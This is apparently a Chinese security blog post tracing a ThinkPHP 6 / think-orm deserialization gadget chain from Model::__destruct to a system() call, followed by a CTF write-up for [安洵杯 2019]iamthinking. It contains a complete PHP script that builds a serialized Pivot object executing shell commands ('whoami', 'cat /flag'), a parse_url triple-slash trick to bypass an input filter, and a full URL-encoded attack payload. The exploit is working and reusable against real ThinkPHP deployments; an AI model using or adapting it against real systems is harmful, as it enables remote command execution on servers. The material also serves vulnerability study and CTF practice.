分析
利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| think\Model think\Model think\Model think\Model think\Model
后半部分利用链(同tp 5.2后半部分利用链)
think\model\concern\Conversion think\model\concern\Conversion think\model\concern\Conversion think\model\concern\Attribute think\model\concern\Attribute
|
vendor/topthink/think-orm/src/Model.php
Model类中存在__destruct()
方法,令$this->lazySave
等于true,调用save()
。Model类为抽象类,利用的时候要用它的子类Pivot

跟进save()
函数,触发点位于updateData函数内,首先需要构造参数防止函数直接返回,才能进入updateData()函数

需要满足三个条件才能进入updateData()
,
1.$this->exists
为true
2.isEmpty()
需要返回false,给$this->data
赋值即可

3.trigger()
需要返回true,让$this->withEvent
等于false

checkAllowFields()
触发__toString()
,需要构造参数防止提前return,第一个if条件已经满足。第二个if,需要empty($data)
等于false
/vendor/topthink/think-orm/src/model/concern/Attribute.php
跟进getChangeData()方法,让$this->force
和$this->data
都有值就可以

需要先满足$this->field
为空、$this->schema
为空两个条件才能调用$this->db()

db()
方法中出现了拼接字符串操作,触发__toString()
,需要先让$this->connection
等于mysql

接下来就是原来tp5的__toString
利用链,由于model\concern\Conversion是一个trait复用类,所以只要在Model下use即可
vendor/topthink/think-orm/src/model/concern/Conversion.php
存在__toString()
方法,调用toJson()

跟进toJson()
,调用__toArray()

toArray()


vendor/topthink/think-orm/src/model/concern/Attribute.php
getAttr()
函数,调用getValue()

getData()

getRealFieldName()
,$this->strict
等于true返回$name
,这样getData()
方法就会返回$this->data[$name]
。

getValue()
函数中存在命令执行,当$this->withAttr[$fieldName]
不为数组的时候触发。

利用
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php namespace think\model\concern { trait Conversion { } trait Attribute { private $data; private $withAttr = ["xxx" => "system"]; public function get() { $this->data = ["xxx" => "whoami"]; } } } namespace think{ abstract class Model{ use model\concern\Attribute; use model\concern\Conversion; private $lazySave; protected $withEvent; private $exists; private $force; protected $field; protected $schema; protected $table; function __construct(){ $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->field = []; $this->schema = []; $this->table = true; } } } namespace think\model{ use think\Model; class Pivot extends Model { function __construct($obj='') { parent::__construct(); $this->get(); $this->table = $obj; } } $a = new Pivot(); $b = new Pivot($a); echo urlencode(serialize($b)); }
|
本地测试

[安洵杯 2019]iamthinking
存在备份文件www.zip

查看源码得到版本为thinkphp6,查看控制器,发现存在unserialize。过滤了O开头的字符串,可以根据parse_url的特性绕过,在解析形如http://xxx.com///index.php?payload=cmd
这样的URI时parse_url会返回false。

在解析形如http://xxx.com///index.php?payload=cmd
这样的URI时parse_url会返回false
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php namespace think\model\concern { trait Conversion { } trait Attribute { private $data; private $withAttr = ["xxx" => "system"]; public function get() { $this->data = ["xxx" => "cat /flag"]; } } } namespace think{ abstract class Model{ use model\concern\Attribute; use model\concern\Conversion; private $lazySave; protected $withEvent; private $exists; private $force; protected $field; protected $schema; protected $table; function __construct(){ $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->field = []; $this->schema = []; $this->table = true; } } } namespace think\model{ use think\Model; class Pivot extends Model { function __construct($obj='') { parent::__construct(); $this->get(); $this->table = $obj; } } $a = new Pivot(); $b = new Pivot($a); echo urlencode(serialize($b)); }
|
利用反序列化漏洞,得到flag
1
| http://c9c7cb46-f78b-4359-a3b6-7cfc292d6693.node3.buuoj.cn///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A6%3A%22system%22%3B%7D%7D
|

参考
https://www.cnblogs.com/20175211lyz/p/12203047.html
https://forum.90sec.com/t/topic/1160